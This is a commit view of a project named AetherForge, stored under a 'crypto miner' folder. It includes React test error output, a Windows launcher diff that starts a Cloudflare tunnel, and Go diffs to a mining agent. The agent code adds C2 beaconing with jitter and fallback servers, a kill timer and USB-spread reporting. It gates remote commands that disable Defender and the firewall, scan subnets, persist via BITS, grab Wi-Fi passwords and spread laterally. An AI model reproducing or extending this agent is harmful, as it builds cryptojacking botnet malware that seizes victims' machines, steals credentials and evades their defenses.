stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
The above error occurred in the <MaybeThrow> component:
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}
stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
The above error occurred in the <ThrowOnce> component:
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
UI error: Error: render boom
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
componentStack: '\n' +
' at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
}

Binary file not shown.

View File

@@ -105,13 +105,16 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 5. Detect LAN IP for display :: 5. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
set "LAN_IP=%%I" set "LAN_IP=%%I"
goto lan_done goto lan_done
@@ -136,18 +139,37 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\ echo Data: %ROOT%\data\
echo. echo.
echo Login accounts: admin + comrade ^(passwords below after start^). echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector. echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop. echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
) else (
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server :: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.

View File

@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
} }
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords": case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive { if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
} }
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available. // No forge gate — always available.
case "mesh_status": case "mesh_status":
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
} }
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
if c.handleTunnelCommand(action, command, path, data) {
return true
}
ok, reason := c.allowRemoteAction(action) ok, reason := c.allowRemoteAction(action)
if !ok { if !ok {
c.sendCommandResult(action, false, reason) c.sendCommandResult(action, false, reason)
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg) c.sendCommandResult(action, true, msg)
return true return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan": case "subnet_scan":
maxHosts := parsePortArg(command, 64) maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts) out := deploy.ScanLocalSubnet(maxHosts)
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
} }
parts = append(parts, msg) parts = append(parts, msg)
} }
deploy.RemoveFirewallExclusionWindows(c.cfg) deploy.RemoveFirewallExclusion(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)") parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n")) c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true return true

View File

@@ -6,6 +6,7 @@ import (
"fmt" "fmt"
"io" "io"
"log" "log"
"math/rand"
"net" "net"
"net/http" "net/http"
"net/url" "net/url"
@@ -53,6 +54,11 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first // spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet. // successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once spreadOnce sync.Once
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
wsDownSince atomic.Value // stores time.Time
} }
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
} }
func (c *AgentClient) Run() error { func (c *AgentClient) Run() error {
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
age := time.Since(c.cfg.BuiltAt)
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
if age >= limit {
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
return nil
}
}
threads := c.cfg.EffectiveThreads() threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start() c.pool.Start()
@@ -98,6 +113,7 @@ func (c *AgentClient) Run() error {
if err := c.mesh.Start(); err != nil { if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err) log.Printf("[Mesh] Failed to start: %v", err)
} }
defer c.mesh.Stop()
} }
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence. // Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
@@ -118,32 +134,76 @@ func (c *AgentClient) Run() error {
serverURLs := buildServerURLList(c.cfg) serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs) log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0 probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
backoff := 5 * time.Second log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
const maxBackoff = 60 * time.Second probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
urlIdx := 0
backoff, maxBackoff := c.reconnectBackoff()
for { for {
target := serverURLs[urlIdx%len(serverURLs)] target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now() start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it). // Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare) c.pool.SetShareHandler(c.submitShare)
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
if err := c.beaconOnce(target); err != nil {
log.Printf("[agent] beacon failed on %s: %v", target, err)
c.markWSDownSince()
} else {
c.sleepReconnect(c.beaconInterval())
}
}
if err := c.connectLoop(target); err != nil { if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err) log.Printf("[agent] disconnected from %s: %v", target, err)
c.markWSDownSince()
} }
// Advance to next URL so the next reconnect tries a different server // Advance to next URL so the next reconnect tries a different server
urlIdx++ urlIdx++
if time.Since(start) > 10*time.Second { if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt backoff, maxBackoff = c.reconnectBackoff()
backoff = 5 * time.Second
} }
time.Sleep(backoff) c.sleepReconnect(backoff)
backoff += 5 * time.Second backoff += c.reconnectBackoffStep()
if backoff > maxBackoff { if backoff > maxBackoff {
backoff = maxBackoff backoff = maxBackoff
} }
} }
} }
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
base := time.Duration(sec) * time.Second
max := 60 * time.Second
if base*12 > max {
max = base * 12
}
return base, max
}
func (c *AgentClient) reconnectBackoffStep() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) sleepReconnect(d time.Duration) {
jitter := c.cfg.BeaconJitterPct
if jitter > 0 {
if jitter > 100 {
jitter = 100
}
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
d = time.Duration(float64(d) * factor)
}
time.Sleep(d)
}
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order. // buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string { func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{} seen := map[string]bool{}
@@ -263,6 +323,8 @@ func (c *AgentClient) authenticate() error {
Arch: runtime.GOARCH, Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(), OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(), MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
}) })
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -287,7 +349,8 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error) return fmt.Errorf("auth failed: %s", resp.Error)
} }
c.agentID = resp.AgentID c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID) c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent. // Persist the server-confirmed ID so restarts always reconnect as the same agent.
if installDir, err := c.cfg.InstallDirectory(); err == nil { if installDir, err := c.cfg.InstallDirectory(); err == nil {
_ = deploy.PersistAgentID(installDir, c.agentID) _ = deploy.PersistAgentID(installDir, c.agentID)
@@ -549,7 +612,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
} }
go c.performUpgrade(data) go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary") c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
case "bof_execute":
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
default: default:
if c.handleRegistryCommand(action, path, data) {
return
}
if c.handleFileCommand(action, path) {
return
}
if c.handleReconCommand(action, command) { if c.handleReconCommand(action, command) {
return return
} }
@@ -563,9 +634,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
"success": success, "success": success,
"message": message, "message": message,
}) })
if c.beaconMode.Load() {
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload}) _ = c.write(Message{Type: "command_result", Payload: payload})
} }
func (c *AgentClient) wsDownSinceTime() time.Time {
if v := c.wsDownSince.Load(); v != nil {
if t, ok := v.(time.Time); ok {
return t
}
}
return time.Time{}
}
func (c *AgentClient) markWSDownSince() {
if !c.wsDownSinceTime().IsZero() {
return
}
c.wsDownSince.Store(time.Now())
}
func (c *AgentClient) clearWSDownSince() {
c.wsDownSince.Store(time.Time{})
}
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
return StatsPayload{
Hashrate15s: hps,
Hashrate1m: hps,
Hashrate15m: hps,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
}, nil
}
func (c *AgentClient) stopSelf() { func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond) time.Sleep(300 * time.Millisecond)
c.pool.Stop() c.pool.Stop()

Some files were not shown because too many files have changed in this diff Show More